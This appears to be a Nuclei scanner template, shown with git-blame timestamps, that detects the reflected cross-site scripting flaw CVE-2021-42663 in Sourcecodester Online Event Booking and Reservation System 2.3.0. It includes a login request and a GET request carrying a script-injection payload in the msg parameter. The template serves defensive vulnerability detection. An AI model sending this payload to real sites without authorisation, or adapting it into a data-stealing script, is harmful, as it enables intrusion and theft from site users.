2022-09-03 06:22:15 +00:00
id : CVE-2021-42663
info :
2022-09-10 01:55:52 +00:00
name : Sourcecodester Online Event Booking and Reservation System 2.3.0 - Cross-Site Scripting
2022-09-03 06:22:15 +00:00
author : fxploit
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-03 06:22:15 +00:00
description : |
2022-09-10 01:55:52 +00:00
Sourcecodester Online Event Booking and Reservation System 2.3.0 contains a cross-site scripting vulnerability in PHP/MySQL via the msg parameter to /event-management/index.php. An attacker can leverage this vulnerability in order to change the visibility of the website. Once the target user clicks on a given link, the content of the HTML code of the attacker's choice displays.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
2023-09-06 12:09:01 +00:00
remediation : |
To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
2022-09-03 06:22:15 +00:00
reference :
- https://github.com/0xDeku/CVE-2021-42663
- https://www.sourcecodester.com/php/14241/online-event-booking-and-reservation-system-phpmysql.html
2022-09-05 18:43:21 +00:00
- https://github.com/TheHackingRabbi/CVE-2021-42663
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-42663
2024-06-07 10:04:29 +00:00
- https://github.com/SYRTI/POC_to_review
2022-09-03 06:22:15 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
cvss-score : 4.3
2022-09-10 01:55:52 +00:00
cve-id : CVE-2021-42663
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00116
2024-06-07 10:04:29 +00:00
epss-percentile : 0.45225
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:online_event_booking_and_reservation_system_project:online_event_booking_and_reservation_system:2.3.0:*:*:*:*:*:*:*
2022-09-04 09:07:33 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : online_event_booking_and_reservation_system_project
product : online_event_booking_and_reservation_system
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,xss,online_event_booking_and_reservation_system_project
2022-09-03 06:22:15 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-09-04 09:07:33 +00:00
- raw :
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
name={{username}}&pwd={{password}}
- |
GET /views/index.php?msg=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host : {{Hostname}}
2022-10-07 21:27:25 +00:00
host-redirects : true
2022-09-04 09:07:33 +00:00
max-redirects : 2
2023-07-11 19:49:27 +00:00
2022-09-03 06:22:15 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-09-04 09:07:33 +00:00
- "</i><script>alert(document.domain)</script></div>"
- type : word
part : header
words :
- text/html
2022-09-03 06:22:15 +00:00
- type : status
status :
- 200
2024-01-26 08:31:11 +00:00
# digest: 4a0a00473045022100e5ccb40089b0e2fa1296f286c8e7dfb74d393a1115d310fa13c104fe902d84f50220264642ede9a09512c264671738b08882267e18e889a09aa16fa793c0df4289ae:922c64590222798bb761d5b6d8e72950